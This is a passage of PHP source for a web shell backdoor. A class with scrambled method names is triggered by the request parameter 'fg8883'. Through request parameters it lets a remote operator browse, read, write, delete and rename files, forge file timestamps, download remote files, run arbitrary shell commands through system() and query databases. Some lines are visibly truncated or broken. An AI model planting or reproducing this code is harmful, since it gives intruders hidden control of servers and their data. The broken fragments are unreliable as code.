(.+?)<\/H>/i', $conf, $data)) {
$host = $data[1];
}
if (preg_match('/(.+?)<\/U>/i', $conf, $data)) {
$user = $data[1];
}
if (preg_match('/(.+?)<\/P>/i', $conf, $data)) {
$password = $data[1];
}
list($host, $port) = explode(":", $host);
$port == "" ? $port = "3306" : $port;
$conn = @mysqli_connect($host, $user, $password, "", $port);
$res = @mysqli_query($conn, $sql);
}
if (is_bool($res)) {
return "Status".$columnsep.$rowsep.($res?"True":"False").$columnsep.$rowsep;
}
$i=0;
if ($needcoluname) {
while ($col=@mysqli_fetch_field($res)) {
$TMP .= $col->name.$columnsep;
$i++;
}
$TMP .= $rowsep;
}
while($rs=@mysqli_fetch_row($res)){
for($c = 0; $c <= $i; $c++){
$TMP .= trim($rs[$c]).$columnsep;
}
$TMP.=$rowsep;
}
return $TMP;
}
function rMnhE(){
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D==""){
$D=dirname($_SERVER["PATH_TRANSLATED"]);
}
$R="{$D}\t";
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))
$R.="{$L}:";
}else{
$R.="/";
}
$R.="\t";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.="\t{$s}";
return $R;
}
function ZNLSk($D){
$TMP = "";
$F=@opendir($D);
if($F==NULL){
$TMP = "ERROR:// Path Not Found Or No Permission!";
}else{
$M=NULL;
$L=NULL;
while($N=@readdir($F)){
$P=$D."/".$N;
$T=@date("Y-m-d H:i:s",@filemtime($P));
@$E=substr(base_convert(@fileperms($P),10,8),-4);
$R="\t".$T."\t".@filesize($P)."\t".$E."\n";
if(@is_dir($P))
$M.=$N."/".$R;
else
$L.=$N.$R;
}
$TMP .= $M.$L;
@closedir($F);
}
return $TMP;
}
function OTalB($F){
$TMP = "";
try {
$P = @fopen($F,"r");
$TMP = (@fread($P,filesize($F)));
@fclose($P);
} catch (Exception $e) {
$TMP = "ERROR://".$e;
}
return $TMP;
}
function XvRGy($path, $content){
return @fwrite(fopen(($path),"w"),($content))?"1":"0";
}
function QWyby($fileOrDirPath){
function df($p){
$m=@dir($p);
while(@$f=$m->read()){
$pf=$p."/".$f;
if((is_dir($pf))&&($f!=".")&&($f!="..")){
@chmod($pf,0777);
df($pf);
}
if(is_file($pf)){
@chmod($pf,0777);
@unlink($pf);
}
}
$m->close();
@chmod($p,0777);
return @rmdir($p);
}
$F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath);
if(is_dir($F)){
return (df($F));
}
else{
return (file_exists($F)?@unlink($F)?"1":"0":"0");
}
}
function xJwBE($filePath){
$F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath);
$fp=@fopen($F,"r");
if(@fgetc($fp)){
@fclose($fp);
@readfile($F);
}else{
echo("ERROR:// Can Not Read");
}
}
function UEAiG($path, $content){
$f=$path;
$c=$content;
$c=str_replace("\r","",$c);
$c=str_replace("\n","",$c);
$buf="";
for($i=0;$iread()){
$isrc=$src.chr(47).$f;
$idest=$dest.chr(47).$f;
if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){
if(!xcopy($isrc,$idest))return false;
}else if(is_file($isrc)){
if(!copy($isrc,$idest))
return false;
}
}
return true;
}
return (xcopy($fc,$fp)?"1":"0");
}
function zUKsN($oldName, $newName){
$m=get_magic_quotes_gpc();
$src=(m?stripslashes($oldName):$oldName);
$dst=(m?stripslashes($newName):$newName);
return (rename($src,$dst)?"1":"0");
}
function xEqED($name){
$m=get_magic_quotes_gpc();
$f=($m?stripslashes($name):$name);
return (mkdir($f)?"1":"0");
}
function soYUA($fileOrDirPath, $newTime){
$m=get_magic_quotes_gpc();
$FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath);
$TM=strtotime((m?stripslashes($newTime):$newTime));
if(file_exists($FN)){
return (@touch($FN,$TM,$TM)?"1":"0");
}else{
return ("0");
}
}
function KFAUg($urlPath, $savePath){
$fR=$urlPath;
$fL=$savePath;
$F=@fopen($fR,chr(114));
$L=@fopen($fL,chr(119));
if($F && $L){
while(!feof($F))
@fwrite($L,@fgetc($F));
@fclose($F);
@fclose($L);
return "1";
}else{
return "0";
}
}
function qtGpB($cmdPath, $command){
$p=$cmdPath;
$s=$command;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
$r="{$p} {$c}";
@system($r." 2>&1",$TMP);
return ($TMP!=0)?"ret={$TMP}":"";
}
function NjkHd(){
$TMP="";
$m=array(
'mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close',
'ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount',
'sybase_close'
);
foreach ($m as $f) {
$TMP.=($f."\t".(function_exists($f)?'1':'0')."\n");
}
if(function_exists('pdo_drivers')){
foreach(@pdo_drivers() as $f){
$TMP.=("pdo_".$f."\t1\n");
}
}
return $TMP;
}
function zGSvF($binarr){
$TMP="";
$arr=@explode(",", $binarr);
foreach($arr as $v){
$TMP.=($v."\t".(@file_exists($v)?"1":"0")."\n");
}
return $TMP;
}
function __construct(){
@set_time_limit(0);
$funccode = $this->xIzeJ($_REQUEST["fg8883"]);
$YWc = $this->xIzeJ($this->KDivu($_REQUEST['z0']));
$qjs = $this->xIzeJ($this->KDivu($_REQUEST['z1']));
$Ryk = $this->xIzeJ($this->KDivu($_REQUEST['z2']));
$GSD = $this->xIzeJ($this->KDivu($_REQUEST['z3']));
echo "-".">"."|";
$TMP = "";
try {
switch ($funccode) {
case 'A':
$TMP = $this->rMnhE();
break;
case 'B':
$TMP = $this->ZNLSk($qjs);
break;
case 'C':
$TMP = $this->OTalB($qjs);
break;
case 'D':
$TMP = $this->XvRGy($qjs, $Ryk);
break;
case 'E':
$TMP = $this->QWyby($qjs);
break;
case 'F':
$this->xJwBE($qjs);
break;
case 'U':
$TMP = $this->UEAiG($qjs, $Ryk);
break;
case 'H':
$TMP = $this->epmtD($qjs, $Ryk);
break;
case 'I':
$TMP = $this->zUKsN($qjs, $Ryk);
break;
case 'J':
$TMP = $this->xEqED($qjs);
break;
case 'K':
$TMP = $this->soYUA($qjs, $Ryk);
break;
case 'L':
$TMP = $this->KFAUg($qjs, $Ryk);
break;
case 'M':
$TMP = $this->qtGpB($qjs, $Ryk);
break;
case 'N':
$TMP = $this->MmRLG($YWc, $qjs);
break;
case 'O':
$TMP = $this->lsiFA($YWc, $qjs, $Ryk);
break;
case 'P':
$TMP = $this->RLgow($YWc, $qjs, $Ryk, $GSD);
break;
case 'Q':
$TMP = $this->RHDVy($YWc, $qjs, $Ryk);
break;
case 'Y':
$TMP = $this->zGSvF($qjs);
break;
case 'Z':
$TMP = $this->NjkHd();
break;
default:
break;
}
} catch (Exception $e) {
$TMP = "ERROR://".$e;
}
echo $TMP;
echo "|"."<"."-";
}
} if(!empty($_REQUEST["fg8883"]))new Dkpc();